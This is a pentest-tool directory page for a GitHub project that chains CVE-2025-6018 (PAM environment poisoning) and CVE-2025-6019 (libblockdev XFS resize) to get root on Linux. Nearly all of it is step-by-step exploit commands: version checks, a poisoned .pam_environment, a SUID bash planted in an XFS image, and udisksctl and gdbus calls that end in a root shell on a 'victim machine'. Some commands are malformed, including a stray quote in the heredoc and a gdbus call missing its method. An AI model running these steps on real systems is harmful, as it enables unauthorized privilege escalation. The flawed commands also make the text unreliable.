Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-6018-and-CVE-2025-6019 — Vulnerability chaining leads to privilege escalation | Kitploit
Tools/GitHubGitHub/localh0ste/cve-2025-6018-and-cve-2025-6019
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed TeamingBinary Exploitation
GitHublocalh0ste/cve-2025-6018-and-cve-2025-6019

CVE-2025-6018-and-CVE-2025-6019

Vulnerability chaining leads to privilege escalation

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
16 months agoNot yet reviewed

Check Its Vulnerable or not

root@kitploit:~
rpm -q pam || dpkg -l | grep libpam

or

find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null

or
find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null

or

systemctl --version | head -1

If version Include :(Vulnerable PAM version detected ) ~Reference cve_2025_6018

"pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0"

Exploit Steps

Creating malicious environment file (CVE-2025-6018 Environment Poisoning)

root@kitploit:~
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
SYSTEMD_LOG_LEVEL OVERRIDE=debug'''
EOF

Create XFS Image (On own PC) and send to remote one

( CVE-2025-6019 -- Root Access via XFS Resize in libblockdev)

root@kitploit:~
dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount

#Create SUID bit as /bash shell

chmod 04555 ./xfs.mount/bash
umount ./xfs.mount
gzip xfs.image
scp ./xfs.image.gz hostname@<ip>:/home/<username>

On Victim Machine

root@kitploit:~
gzip -d xfs.image.gz
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot

Reconnect To system ( ssh reconnect to activate active session )

root@kitploit:~
udisksctl loop-setup --file ./xfs.image --no-user-interaction
while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
 /tmp/blockdev*/bash -p

Get Root Shell

Reference: https://www.exploit-db.com/exploits/52386

Download Tool